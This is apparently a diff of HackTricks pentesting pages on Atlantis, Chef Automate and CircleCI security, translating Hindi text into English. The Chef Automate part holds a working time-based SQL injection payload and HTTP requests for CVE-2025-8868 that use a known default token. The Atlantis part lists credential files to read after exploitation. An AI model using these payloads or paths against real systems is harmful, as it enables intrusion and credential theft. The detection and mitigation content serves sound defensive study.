यदि [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) ध्वज `allowed_overrides` _has_ `apply_requirements` कॉन्फ़िगर किया गया है, तो एक रेपो के लिए **योजना/लागू सुरक्षा को बायपास करने के लिए संशोधित करना** संभव है।
|
||||
```yaml
|
||||
repos:
|
||||
- id: /.*/
|
||||
apply_requirements: []
|
||||
- id: /.*/
|
||||
apply_requirements: []
|
||||
```
|
||||
|
||||
#### PR Hijacking
|
||||
|
||||
यदि कोई आपके वैध पुल अनुरोधों पर **`atlantis plan/apply` टिप्पणियाँ भेजता है,** तो यह terraform को चलाने का कारण बनेगा जब आप नहीं चाहते।
|
||||
If someone sends **`atlantis plan/apply` comments on your valid pull requests,** it will cause terraform to run when you don't want it to.
|
||||
|
||||
इसके अलावा, यदि आपने **branch protection** में यह कॉन्फ़िगर नहीं किया है कि जब एक **नया कमिट डाला जाता है** तो हर PR को **फिर से मूल्यांकन** करने के लिए कहा जाए, तो कोई **दुष्ट कॉन्फ़िगरेशन** (पिछले परिदृश्यों की जांच करें) terraform कॉन्फ़िगरेशन में लिख सकता है, `atlantis plan/apply` चला सकता है और RCE प्राप्त कर सकता है।
|
||||
Moreover, if you don't have configured in the **branch protection** to ask to **reevaluate** every PR when a **new commit is pushed** to it, someone could **write malicious configs** (check previous scenarios) in the terraform config, run `atlantis plan/apply` and gain RCE.
|
||||
|
||||
यह Github branch protections में **सेटिंग** है:
|
||||
This is the **setting** in Github branch protections:
|
||||
|
||||
.png>)
|
||||
|
||||
#### Webhook Secret
|
||||
|
||||
यदि आप **webhook secret** चुराने में सफल होते हैं या यदि कोई **webhook secret** उपयोग नहीं किया जा रहा है, तो आप **Atlantis webhook** को **कॉल** कर सकते हैं और **atlatis कमांड** सीधे निष्पादित कर सकते हैं।
|
||||
If you manage to **steal the webhook secret** used or if there **isn't any webhook secret** being used, you could **call the Atlantis webhook** and **invoke atlatis commands** directly.
|
||||
|
||||
#### Bitbucket
|
||||
|
||||
Bitbucket Cloud **webhook secrets** का समर्थन नहीं करता। यह हमलावरों को **Bitbucket से अनुरोधों की नकल** करने की अनुमति दे सकता है। सुनिश्चित करें कि आप केवल Bitbucket IPs की अनुमति दे रहे हैं।
|
||||
Bitbucket Cloud does **not support webhook secrets**. This could allow attackers to **spoof requests from Bitbucket**. Ensure you are allowing only Bitbucket IPs.
|
||||
|
||||
- इसका मतलब है कि एक **हमलावर** **Atlantis** के लिए **फर्जी अनुरोध** कर सकता है जो ऐसा दिखता है जैसे वे Bitbucket से आ रहे हैं।
|
||||
- यदि आप `--repo-allowlist` निर्दिष्ट कर रहे हैं तो वे केवल उन रिपोजिटरी से संबंधित फर्जी अनुरोध कर सकते हैं, इसलिए वे जो सबसे अधिक नुकसान कर सकते हैं वह आपके अपने रिपोजिटरी पर plan/apply करना होगा।
|
||||
- इससे बचने के लिए [Bitbucket के IP पते](https://confluence.atlassian.com/bitbucket/what-are-the-bitbucket-cloud-ip-addresses-i-should-use-to-configure-my-corporate-firewall-343343385.html) को allowlist करें (Outbound IPv4 addresses देखें)।
|
||||
- This means that an **attacker** could make **fake requests to Atlantis** that look like they're coming from Bitbucket.
|
||||
- If you are specifying `--repo-allowlist` then they could only fake requests pertaining to those repos so the most damage they could do would be to plan/apply on your own repos.
|
||||
- To prevent this, allowlist [Bitbucket's IP addresses](https://confluence.atlassian.com/bitbucket/what-are-the-bitbucket-cloud-ip-addresses-i-should-use-to-configure-my-corporate-firewall-343343385.html) (see Outbound IPv4 addresses).
|
||||
|
||||
### Post-Exploitation
|
||||
|
||||
यदि आप सर्वर तक पहुँचने में सफल हो गए हैं या कम से कम आपके पास LFI है, तो कुछ दिलचस्प चीजें हैं जिन्हें आपको पढ़ने का प्रयास करना चाहिए:
|
||||
If you managed to get access to the server or at least you got a LFI there are some interesting things you should try to read:
|
||||
|
||||
- `/home/atlantis/.git-credentials` VCS एक्सेस क्रेडेंशियल्स शामिल हैं
|
||||
- `/atlantis-data/atlantis.db` अधिक जानकारी के साथ VCS एक्सेस क्रेडेंशियल्स शामिल हैं
|
||||
- `/home/atlantis/.git-credentials` Contains vcs access credentials
|
||||
- `/atlantis-data/atlantis.db` Contains vcs access credentials with more info
|
||||
- `/atlantis-data/repos/<org_name>`_`/`_`<repo_name>/<pr_num>/<workspace>/<path_to_dir>/.terraform/terraform.tfstate` Terraform stated file
|
||||
- उदाहरण: /atlantis-data/repos/ghOrg\_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate
|
||||
- `/proc/1/environ` Env वेरिएबल्स
|
||||
- `/proc/[2-20]/cmdline` `atlantis server` की Cmd line (संवेदनशील डेटा हो सकता है)
|
||||
- Example: /atlantis-data/repos/ghOrg\_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate
|
||||
- `/proc/1/environ` Env variables
|
||||
- `/proc/[2-20]/cmdline` Cmd line of `atlantis server` (may contain sensitive data)
|
||||
|
||||
### Mitigations
|
||||
|
||||
#### Don't Use On Public Repos <a href="#don-t-use-on-public-repos" id="don-t-use-on-public-repos"></a>
|
||||
|
||||
क्योंकि कोई भी सार्वजनिक पुल अनुरोधों पर टिप्पणी कर सकता है, सभी सुरक्षा उपायों के साथ भी, सार्वजनिक रिपोजिटरी पर उचित सुरक्षा सेटिंग्स के बिना Atlantis चलाना अभी भी खतरनाक है।
|
||||
Because anyone can comment on public pull requests, even with all the security mitigations available, it's still dangerous to run Atlantis on public repos without proper configuration of the security settings.
|
||||
|
||||
#### Don't Use `--allow-fork-prs` <a href="#don-t-use-allow-fork-prs" id="don-t-use-allow-fork-prs"></a>
|
||||
|
||||
यदि आप एक सार्वजनिक रिपोजिटरी पर चल रहे हैं (जो अनुशंसित नहीं है, ऊपर देखें) तो आपको `--allow-fork-prs` सेट नहीं करना चाहिए (डिफ़ॉल्ट रूप से false) क्योंकि कोई भी अपने फोर्क से आपके रिपोजिटरी के लिए एक पुल अनुरोध खोल सकता है।
|
||||
If you're running on a public repo (which isn't recommended, see above) you shouldn't set `--allow-fork-prs` (defaults to false) because anyone can open up a pull request from their fork to your repo.
|
||||
|
||||
#### `--repo-allowlist` <a href="#repo-allowlist" id="repo-allowlist"></a>
|
||||
|
||||
Atlantis को आपको `--repo-allowlist` ध्वज के माध्यम से वेबहुक स्वीकार करने के लिए रिपोजिटरी की एक allowlist निर्दिष्ट करने की आवश्यकता है। उदाहरण के लिए:
|
||||
Atlantis requires you to specify a allowlist of repositories it will accept webhooks from via the `--repo-allowlist` flag. For example:
|
||||
|
||||
- विशिष्ट रिपोजिटरी: `--repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests`
|
||||
- आपका पूरा संगठन: `--repo-allowlist=github.com/runatlantis/*`
|
||||
- आपके GitHub Enterprise इंस्टॉलेशन में हर रिपोजिटरी: `--repo-allowlist=github.yourcompany.com/*`
|
||||
- सभी रिपोजिटरी: `--repo-allowlist=*`। जब आप एक सुरक्षित नेटवर्क में होते हैं तो यह उपयोगी है लेकिन बिना webhook secret सेट किए खतरनाक है।
|
||||
- Specific repositories: `--repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests`
|
||||
- Your whole organization: `--repo-allowlist=github.com/runatlantis/*`
|
||||
- Every repository in your GitHub Enterprise install: `--repo-allowlist=github.yourcompany.com/*`
|
||||
- All repositories: `--repo-allowlist=*`. Useful for when you're in a protected network but dangerous without also setting a webhook secret.
|
||||
|
||||
यह ध्वज सुनिश्चित करता है कि आपकी Atlantis इंस्टॉलेशन उन रिपोजिटरी के साथ उपयोग नहीं की जा रही है जिन्हें आप नियंत्रित नहीं करते। अधिक विवरण के लिए `atlantis server --help` देखें।
|
||||
This flag ensures your Atlantis install isn't being used with repositories you don't control. See `atlantis server --help` for more details.
|
||||
|
||||
#### Protect Terraform Planning <a href="#protect-terraform-planning" id="protect-terraform-planning"></a>
|
||||
|
||||
यदि आपके खतरे के मॉडल में हमलावरों द्वारा दुष्ट Terraform कोड के साथ पुल अनुरोध प्रस्तुत करना शामिल है, तो आपको यह जानना चाहिए कि `terraform apply` अनुमतियाँ पर्याप्त नहीं हैं। यह [`external` data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) का उपयोग करके या एक दुष्ट प्रदाता निर्दिष्ट करके `terraform plan` में दुष्ट कोड चलाना संभव है। यह कोड फिर आपके क्रेडेंशियल्स को एक्सफिल्ट्रेट कर सकता है।
|
||||
If attackers submitting pull requests with malicious Terraform code is in your threat model then you must be aware that `terraform apply` approvals are not enough. It is possible to run malicious code in a `terraform plan` using the [`external` data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) or by specifying a malicious provider. This code could then exfiltrate your credentials.
|
||||
|
||||
इससे बचने के लिए, आप कर सकते हैं:
|
||||
To prevent this, you could:
|
||||
|
||||
1. प्रदाताओं को Atlantis छवि में बेक करें या होस्ट करें और उत्पादन में ईग्रेस को अस्वीकार करें।
|
||||
2. आंतरिक रूप से प्रदाता रजिस्ट्री प्रोटोकॉल लागू करें और सार्वजनिक ईग्रेस को अस्वीकार करें, इस तरह आप नियंत्रित करते हैं कि किसके पास रजिस्ट्री में लिखने का अधिकार है।
|
||||
3. अपने [सर्वर-साइड रिपोजिटरी कॉन्फ़िगरेशन](https://www.runatlantis.io/docs/server-side-repo-config.html) के `plan` चरण को संशोधित करें ताकि अवैध प्रदाताओं या डेटा स्रोतों या अनुमति न दिए गए उपयोगकर्ताओं से PRs के उपयोग के खिलाफ मान्य किया जा सके। आप इस बिंदु पर अतिरिक्त मान्यता भी जोड़ सकते हैं, जैसे PR पर "thumbs-up" की आवश्यकता करना इससे पहले कि `plan` जारी रखने की अनुमति दी जाए। Conftest यहाँ उपयोगी हो सकता है।
|
||||
1. Bake providers into the Atlantis image or host and deny egress in production.
|
||||
2. Implement the provider registry protocol internally and deny public egress, that way you control who has write access to the registry.
|
||||
3. Modify your [server-side repo configuration](https://www.runatlantis.io/docs/server-side-repo-config.html)'s `plan` step to validate against the use of disallowed providers or data sources or PRs from not allowed users. You could also add in extra validation at this point, e.g. requiring a "thumbs-up" on the PR before allowing the `plan` to continue. Conftest could be of use here.
|
||||
|
||||
#### Webhook Secrets <a href="#webhook-secrets" id="webhook-secrets"></a>
|
||||
|
||||
Atlantis को `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET` पर्यावरण वेरिएबल के माध्यम से सेट किए गए Webhook secrets के साथ चलाना चाहिए। `--repo-allowlist` ध्वज सेट होने के बावजूद, बिना webhook secret के, हमलावर Atlantis को एक ऐसे रिपोजिटरी के रूप में अनुरोध कर सकते हैं जो allowlisted है। Webhook secrets यह सुनिश्चित करते हैं कि वेबहुक अनुरोध वास्तव में आपके VCS प्रदाता (GitHub या GitLab) से आ रहे हैं।
|
||||
Atlantis should be run with Webhook secrets set via the `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET` environment variables. Even with the `--repo-allowlist` flag set, without a webhook secret, attackers could make requests to Atlantis posing as a repository that is allowlisted. Webhook secrets ensure that the webhook requests are actually coming from your VCS provider (GitHub or GitLab).
|
||||
|
||||
यदि आप Azure DevOps का उपयोग कर रहे हैं, तो webhook secrets के बजाय एक बुनियादी उपयोगकर्ता नाम और पासवर्ड जोड़ें।
|
||||
If you are using Azure DevOps, instead of webhook secrets add a basic username and password.
|
||||
|
||||
#### Azure DevOps Basic Authentication <a href="#azure-devops-basic-authentication" id="azure-devops-basic-authentication"></a>
|
||||
|
||||
Azure DevOps सभी वेबहुक घटनाओं में एक बुनियादी प्रमाणीकरण हेडर भेजने का समर्थन करता है। इसके लिए आपके वेबहुक स्थान के लिए HTTPS URL का उपयोग करना आवश्यक है।
|
||||
Azure DevOps supports sending a basic authentication header in all webhook events. This requires using an HTTPS URL for your webhook location.
|
||||
|
||||
#### SSL/HTTPS <a href="#ssl-https" id="ssl-https"></a>
|
||||
|
||||
यदि आप webhook secrets का उपयोग कर रहे हैं लेकिन आपका ट्रैफ़िक HTTP पर है, तो webhook secrets चुराए जा सकते हैं। `--ssl-cert-file` और `--ssl-key-file` ध्वजों का उपयोग करके SSL/HTTPS सक्षम करें।
|
||||
If you're using webhook secrets but your traffic is over HTTP then the webhook secrets could be stolen. Enable SSL/HTTPS using the `--ssl-cert-file` and `--ssl-key-file` flags.
|
||||
|
||||
#### Enable Authentication on Atlantis Web Server <a href="#enable-authentication-on-atlantis-web-server" id="enable-authentication-on-atlantis-web-server"></a>
|
||||
|
||||
वेब सेवा में प्रमाणीकरण सक्षम करना अत्यधिक अनुशंसित है। `--web-basic-auth=true` का उपयोग करके BasicAuth सक्षम करें और `--web-username=yourUsername` और `--web-password=yourPassword` ध्वजों का उपयोग करके एक उपयोगकर्ता नाम और पासवर्ड सेट करें।
|
||||
It is very recommended to enable authentication in the web service. Enable BasicAuth using the `--web-basic-auth=true` and setup a username and a password using `--web-username=yourUsername` and `--web-password=yourPassword` flags.
|
||||
|
||||
आप इन्हें पर्यावरण वेरिएबल के रूप में भी पास कर सकते हैं `ATLANTIS_WEB_BASIC_AUTH=true` `ATLANTIS_WEB_USERNAME=yourUsername` और `ATLANTIS_WEB_PASSWORD=yourPassword`।
|
||||
You can also pass these as environment variables `ATLANTIS_WEB_BASIC_AUTH=true` `ATLANTIS_WEB_USERNAME=yourUsername` and `ATLANTIS_WEB_PASSWORD=yourPassword`.
|
||||
|
||||
### References
|
||||
|
||||
@@ -370,3 +386,6 @@ Azure DevOps सभी वेबहुक घटनाओं में एक
|
||||
- [**https://www.runatlantis.io/docs/provider-credentials.html**](https://www.runatlantis.io/docs/provider-credentials.html)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,13 +1,13 @@
|
||||
# Chef Automate सुरक्षा
|
||||
# Chef Automate Security
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Chef Automate क्या है
|
||||
## What is Chef Automate
|
||||
|
||||
Chef Automate एक प्लेटफ़ॉर्म है इंफ्रास्ट्रक्चर ऑटोमेशन, कंप्लायंस और एप्लिकेशन डिलीवरी के लिए। यह एक वेब UI (अक्सर Angular) एक्सपोज़ करता है जो backend gRPC services से gRPC-Gateway के माध्यम से संवाद करता है, और /api/v0/ जैसे paths के अंतर्गत REST-like endpoints प्रदान करता है।
|
||||
Chef Automate is a platform for infrastructure automation, compliance, and application delivery. It exposes a web UI (often Angular) that talks to backend gRPC services via a gRPC-Gateway, providing REST-like endpoints under paths such as /api/v0/.
|
||||
|
||||
- सामान्य बैकएंड घटक: gRPC services, PostgreSQL (अक्सर pq: error prefixes के माध्यम से दिखाई देता है), data-collector ingest service
|
||||
- Auth mechanisms: user/API tokens और एक data collector token header x-data-collector-token
|
||||
- Common backend components: gRPC services, PostgreSQL (often visible via pq: error prefixes), data-collector ingest service
|
||||
- Auth mechanisms: user/API tokens and a data collector token header x-data-collector-token
|
||||
|
||||
## Enumeration & Attacks
|
||||
|
||||
@@ -15,4 +15,4 @@ Chef Automate एक प्लेटफ़ॉर्म है इंफ्रा
|
||||
chef-automate-enumeration-and-attacks.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
@@ -2,39 +2,39 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## अवलोकन
|
||||
## Overview
|
||||
|
||||
यह पृष्ठ Chef Automate इंस्टेंस को enumerate और attack करने के practical techniques संग्रहीत करता है, विशेष जोर के साथ:
|
||||
- gRPC-Gateway-backed REST endpoints की खोज और validation/error responses के माध्यम से request schemas का अनुमान लगाना
|
||||
- defaults मौजूद होने पर x-data-collector-token authentication header का दुरुपयोग
|
||||
- Time-based blind SQL injection in the Compliance API (CVE-2025-8868) जो /api/v0/compliance/profiles/search में filters[].type फील्ड को प्रभावित करती है
|
||||
This page collects practical techniques to enumerate and attack Chef Automate instances, with emphasis on:
|
||||
- Discovering gRPC-Gateway-backed REST endpoints and inferring request schemas via validation/error responses
|
||||
- Abusing the x-data-collector-token authentication header when defaults are present
|
||||
- Time-based blind SQL injection in the Compliance API (CVE-2025-8868) affecting the filters[].type field in /api/v0/compliance/profiles/search
|
||||
|
||||
> Note: Backend responses that include header grpc-metadata-content-type: application/grpc typically indicate a gRPC-Gateway bridging REST calls to gRPC services.
|
||||
|
||||
## Recon: Architecture and Fingerprints
|
||||
|
||||
- Front-end: अक्सर Angular। Static bundles REST paths (e.g., /api/v0/...) का संकेत दे सकते हैं
|
||||
- Front-end: Often Angular. Static bundles can hint at REST paths (e.g., /api/v0/...)
|
||||
- API transport: REST to gRPC via gRPC-Gateway
|
||||
- Responses may include grpc-metadata-content-type: application/grpc
|
||||
- Responses may include grpc-metadata-content-type: application/grpc
|
||||
- Database/driver fingerprints:
|
||||
- Error bodies starting with pq: strongly suggest PostgreSQL with the Go pq driver
|
||||
- Error bodies starting with pq: strongly suggest PostgreSQL with the Go pq driver
|
||||
- Interesting Compliance endpoints (auth required):
|
||||
- POST /api/v0/compliance/profiles/search
|
||||
- POST /api/v0/compliance/scanner/jobs/search
|
||||
- POST /api/v0/compliance/profiles/search
|
||||
- POST /api/v0/compliance/scanner/jobs/search
|
||||
|
||||
## Auth: Data Collector Token (x-data-collector-token)
|
||||
|
||||
Chef Automate एक data collector expose करता है जो requests को एक dedicated header के माध्यम से authenticate करता है:
|
||||
Chef Automate exposes a data collector that authenticates requests via a dedicated header:
|
||||
|
||||
- Header: x-data-collector-token
|
||||
- Risk: कुछ environments में default token रह सकता है जो protected API routes तक access देता है। जंगली में देखा गया ज्ञात default:
|
||||
- 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9cbd1c506
|
||||
- Risk: Some environments may retain a default token granting access to protected API routes. Known default observed in the wild:
|
||||
- 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9cbd1c506
|
||||
|
||||
यदि मौजूद हो, तो इस token का उपयोग उन Compliance API endpoints को call करने के लिए किया जा सकता है जो सामान्यतः auth के पीछे बंद होते हैं। Hardening के दौरान defaults को rotate/disable करने का प्रयास करें।
|
||||
If present, this token can be used to call Compliance API endpoints otherwise gated by auth. Always attempt to rotate/disable defaults during hardening.
|
||||
|
||||
## API Schema Inference via Error-Driven Discovery
|
||||
|
||||
gRPC-Gateway-backed endpoints अक्सर useful validation errors को leak करते हैं जो expected request model का वर्णन करते हैं।
|
||||
gRPC-Gateway-backed endpoints often leak useful validation errors that describe the expected request model.
|
||||
|
||||
For /api/v0/compliance/profiles/search, the backend expects a body with a filters array, where each element is an object with:
|
||||
|
||||
@@ -42,36 +42,41 @@ For /api/v0/compliance/profiles/search, the backend expects a body with a filter
|
||||
- values: array of strings
|
||||
|
||||
Example request shape:
|
||||
|
||||
```json
|
||||
{
|
||||
"filters": [
|
||||
{ "type": "name", "values": ["test"] }
|
||||
]
|
||||
"filters": [
|
||||
{ "type": "name", "values": ["test"] }
|
||||
]
|
||||
}
|
||||
```
|
||||
Malformed JSON या गलत field types आमतौर पर 4xx/5xx त्रुटियाँ ट्रिगर करते हैं जिनमें hints होते हैं, और headers gRPC-Gateway के व्यवहार को संकेत करते हैं। इनका उपयोग fields को मैप करने और injection surfaces को स्थानीयकृत करने के लिए करें।
|
||||
|
||||
Malformed JSON or wrong field types typically trigger 4xx/5xx with hints, and headers indicate the gRPC-Gateway behavior. Use these to map fields and localize injection surfaces.
|
||||
|
||||
## Compliance API SQL Injection (CVE-2025-8868)
|
||||
|
||||
- Affected endpoint: POST /api/v0/compliance/profiles/search
|
||||
- Injection point: filters[].type
|
||||
- Vulnerability class: time-based blind SQL injection in PostgreSQL
|
||||
- Root cause: type फ़ील्ड को dynamic SQL fragment में interpolate करते समय उचित parameterization/whitelisting न होना (संभवतः identifiers/WHERE clauses बनाने के लिए उपयोग किया जाता है)। type में बनाए गए crafted मान PostgreSQL द्वारा आकलित किए जाते हैं।
|
||||
- Root cause: Lack of proper parameterization/whitelisting when interpolating the type field into a dynamic SQL fragment (likely used to construct identifiers/WHERE clauses). Crafted values in type are evaluated by PostgreSQL.
|
||||
|
||||
Working time-based payload:
|
||||
|
||||
```json
|
||||
{"filters":[{"type":"name'||(SELECT pg_sleep(5))||'","values":["test"]}]}
|
||||
```
|
||||
|
||||
Technique notes:
|
||||
- मूल स्ट्रिंग को एकल उद्धरण (') से बंद करें
|
||||
- एक उप-प्रश्न जोड़ें जो pg_sleep(N) को कॉल करे
|
||||
- || के माध्यम से स्ट्रिंग संदर्भ में फिर से प्रवेश करें ताकि अंतिम SQL, चाहे यह किसी भी स्थान पर एम्बेड हो, सिंटैक्टिक रूप से वैध रहे
|
||||
- Close the original string with a single quote
|
||||
- Concatenate a subquery that calls pg_sleep(N)
|
||||
- Re-enter string context via || so the final SQL remains syntactically valid regardless of where type is embedded
|
||||
|
||||
### डिफरेंशियल लेटेंसी के माध्यम से प्रमाण
|
||||
### Proof via differential latency
|
||||
|
||||
जुड़े हुए अनुरोध भेजें और प्रतिक्रिया समयों की तुलना करें ताकि server-side निष्पादन सत्यापित किया जा सके:
|
||||
Send paired requests and compare response times to validate server-side execution:
|
||||
|
||||
- N = 1 second
|
||||
|
||||
```
|
||||
POST /api/v0/compliance/profiles/search HTTP/1.1
|
||||
Host: <target>
|
||||
@@ -80,7 +85,9 @@ x-data-collector-token: 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9
|
||||
|
||||
{"filters":[{"type":"name'||(SELECT pg_sleep(1))||'","values":["test"]}]}
|
||||
```
|
||||
- N = 5 सेकंड
|
||||
|
||||
- N = 5 seconds
|
||||
|
||||
```
|
||||
POST /api/v0/compliance/profiles/search HTTP/1.1
|
||||
Host: <target>
|
||||
@@ -89,47 +96,48 @@ x-data-collector-token: 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9
|
||||
|
||||
{"filters":[{"type":"name'||(SELECT pg_sleep(5))||'","values":["test"]}]}
|
||||
```
|
||||
|
||||
Observed behavior:
|
||||
- प्रतिक्रिया समय pg_sleep(N) के साथ बढ़ते हैं
|
||||
- HTTP 500 प्रतिक्रियाओं में probing के दौरान pq: विवरण शामिल हो सकते हैं, जो SQL निष्पादन पथों की पुष्टि करते हैं
|
||||
- Response times scale with pg_sleep(N)
|
||||
- HTTP 500 responses may include pq: details during probing, confirming SQL execution paths
|
||||
|
||||
> टिप: शोर और false positives कम करने के लिए एक timing validator (उदा., सांख्यिकीय तुलना के साथ कई परीक्षण) उपयोग करें।
|
||||
> Tip: Use a timing validator (e.g., multiple trials with statistical comparison) to reduce noise and false positives.
|
||||
|
||||
### प्रभाव
|
||||
### Impact
|
||||
|
||||
प्रमाणित उपयोगकर्ता — या default x-data-collector-token का दुरुपयोग करने वाले unauthenticated actors — Chef Automate के PostgreSQL संदर्भ में arbitrary SQL निष्पादित कर सकते हैं, जिससे compliance profiles, configuration, और telemetry की गोपनीयता और अखंडता को जोखिम होता है।
|
||||
Authenticated users—or unauthenticated actors abusing a default x-data-collector-token—can execute arbitrary SQL within Chef Automate’s PostgreSQL context, risking confidentiality and integrity of compliance profiles, configuration, and telemetry.
|
||||
|
||||
### प्रभावित संस्करण / समाधान
|
||||
### Affected versions / Fix
|
||||
|
||||
- CVE: CVE-2025-8868
|
||||
- अपग्रेड मार्गदर्शन: Chef Automate 4.13.295 या बाद के (Linux x86) vendor advisories के अनुसार
|
||||
- Upgrade guidance: Chef Automate 4.13.295 or later (Linux x86) per vendor advisories
|
||||
|
||||
## पहचान और फोरेंसिक्स
|
||||
## Detection and Forensics
|
||||
|
||||
- API layer:
|
||||
- /api/v0/compliance/profiles/search पर 500s की निगरानी करें जहाँ filters[].type में quotes ('), concatenation (||), या pg_sleep जैसे function references शामिल हों
|
||||
- gRPC-Gateway प्रवाहों की पहचान के लिए response headers में grpc-metadata-content-type की जाँच करें
|
||||
- Monitor 500s on /api/v0/compliance/profiles/search where filters[].type contains quotes ('), concatenation (||), or function references like pg_sleep
|
||||
- Inspect response headers for grpc-metadata-content-type to identify gRPC-Gateway flows
|
||||
- Database layer (PostgreSQL):
|
||||
- pg_sleep कॉल और malformed identifier errors के लिए ऑडिट करें (अक्सर Go pq driver से आने वाले pq: prefixes के साथ सामने आते हैं)
|
||||
- Audit for pg_sleep calls and malformed identifier errors (often surfaced with pq: prefixes coming from the Go pq driver)
|
||||
- Authentication:
|
||||
- x-data-collector-token के उपयोग पर लॉग और अलर्ट करें, विशेषकर ज्ञात default मानों के लिए, API paths में
|
||||
- Log and alert on usage of x-data-collector-token, especially known default values, across API paths
|
||||
|
||||
## निवारण और हार्डनिंग
|
||||
## Mitigations and Hardening
|
||||
|
||||
- तात्कालिक:
|
||||
- default data collector tokens को rotate/disable करें
|
||||
- data collector endpoints के ingress को सीमित करें; मजबूत, unique tokens लागू करें
|
||||
- कोड-स्तर:
|
||||
- क्वेरीज़ को parameterize करें; SQL fragments को कभी string-concatenate न करें
|
||||
- सर्वर पर अनुमत type मानों को सख्ती से whitelist करें (enum)
|
||||
- identifiers/clauses के लिए dynamic SQL assembly से बचें; यदि dynamic व्यवहार आवश्यक है, तो safe identifier quoting और explicit whitelists का उपयोग करें
|
||||
- Immediate:
|
||||
- Rotate/disable default data collector tokens
|
||||
- Restrict ingress to data collector endpoints; enforce strong, unique tokens
|
||||
- Code-level:
|
||||
- Parameterize queries; never string-concatenate SQL fragments
|
||||
- Strictly whitelist allowed type values on the server (enum)
|
||||
- Avoid dynamic SQL assembly for identifiers/clauses; if dynamic behavior is required, use safe identifier quoting and explicit whitelists
|
||||
|
||||
## व्यावहारिक परीक्षण चेकलिस्ट
|
||||
## Practical Testing Checklist
|
||||
|
||||
- जाँचें कि x-data-collector-token स्वीकार होता है और ज्ञात default काम करता है या नहीं
|
||||
- validation errors उत्पन्न करके और error messages/headers पढ़कर Compliance API request schema का mapping करें
|
||||
- SQLi के लिए कम स्पष्ट “identifier-like” फ़ील्ड्स (उदा., filters[].type) में परीक्षण करें, केवल values arrays या top-level टेक्स्ट फ़ील्ड्स में नहीं
|
||||
- विभिन्न contexts में SQL को syntactically valid रखने के लिए concatenation के साथ time-based techniques का उपयोग करें
|
||||
- Check if x-data-collector-token is accepted and whether the known default works
|
||||
- Map the Compliance API request schema by inducing validation errors and reading error messages/headers
|
||||
- Test for SQLi in less obvious “identifier-like” fields (e.g., filters[].type), not just values arrays or top-level text fields
|
||||
- Use time-based techniques with concatenation to keep SQL syntactically valid across contexts
|
||||
|
||||
## References
|
||||
|
||||
@@ -139,4 +147,4 @@ Observed behavior:
|
||||
- [gRPC-Gateway](https://github.com/grpc-ecosystem/grpc-gateway)
|
||||
- [pq PostgreSQL driver for Go](https://github.com/lib/pq)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
@@ -1,235 +1,258 @@
|
||||
# CircleCI सुरक्षा
|
||||
# CircleCI Security
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
### बुनियादी जानकारी
|
||||
### Basic Information
|
||||
|
||||
[**CircleCI**](https://circleci.com/docs/2.0/about-circleci/) एक निरंतर एकीकरण प्लेटफार्म है जहाँ आप **टेम्पलेट्स** परिभाषित कर सकते हैं जो यह बताती हैं कि आप इसे कुछ कोड के साथ क्या करना चाहते हैं और कब करना चाहते हैं। इस तरह आप **परीक्षण** या **डिप्लॉयमेंट** को सीधे **अपने रेपो मास्टर ब्रांच** से स्वचालित कर सकते हैं, उदाहरण के लिए।
|
||||
[**CircleCI**](https://circleci.com/docs/2.0/about-circleci/) is a Continuos Integration platform where you can **define templates** indicating what you want it to do with some code and when to do it. This way you can **automate testing** or **deployments** directly **from your repo master branch** for example.
|
||||
|
||||
### अनुमतियाँ
|
||||
### Permissions
|
||||
|
||||
**CircleCI** **अनुमतियाँ विरासत में लेता है** जो github और bitbucket से संबंधित हैं उस **खाते** से जो लॉग इन करता है।\
|
||||
मेरी परीक्षण में मैंने यह जांचा कि जब तक आपके पास **github में रेपो पर लिखने की अनुमतियाँ हैं**, आप **CircleCI में इसके प्रोजेक्ट सेटिंग्स को प्रबंधित करने में सक्षम होंगे** (नए ssh कुंजी सेट करें, प्रोजेक्ट api कुंजी प्राप्त करें, नए CircleCI कॉन्फ़िग्स के साथ नए ब्रांच बनाएं...)।
|
||||
**CircleCI** **inherits the permissions** from github and bitbucket related to the **account** that logs in.\
|
||||
In my testing I checked that as long as you have **write permissions over the repo in github**, you are going to be able to **manage its project settings in CircleCI** (set new ssh keys, get project api keys, create new branches with new CircleCI configs...).
|
||||
|
||||
हालांकि, आपको **CircleCI प्रोजेक्ट में रेपो को परिवर्तित करने** के लिए **रेपो प्रशासक** होना आवश्यक है।
|
||||
However, you need to be a a **repo admin** in order to **convert the repo into a CircleCI project**.
|
||||
|
||||
### पर्यावरण चर और रहस्य
|
||||
### Env Variables & Secrets
|
||||
|
||||
[**दस्तावेज़ों के अनुसार**](https://circleci.com/docs/2.0/env-vars/) कार्यप्रवाह के भीतर **पर्यावरण चर में मान लोड करने** के विभिन्न तरीके हैं।
|
||||
According to [**the docs**](https://circleci.com/docs/2.0/env-vars/) there are different ways to **load values in environment variables** inside a workflow.
|
||||
|
||||
#### अंतर्निहित पर्यावरण चर
|
||||
#### Built-in env variables
|
||||
|
||||
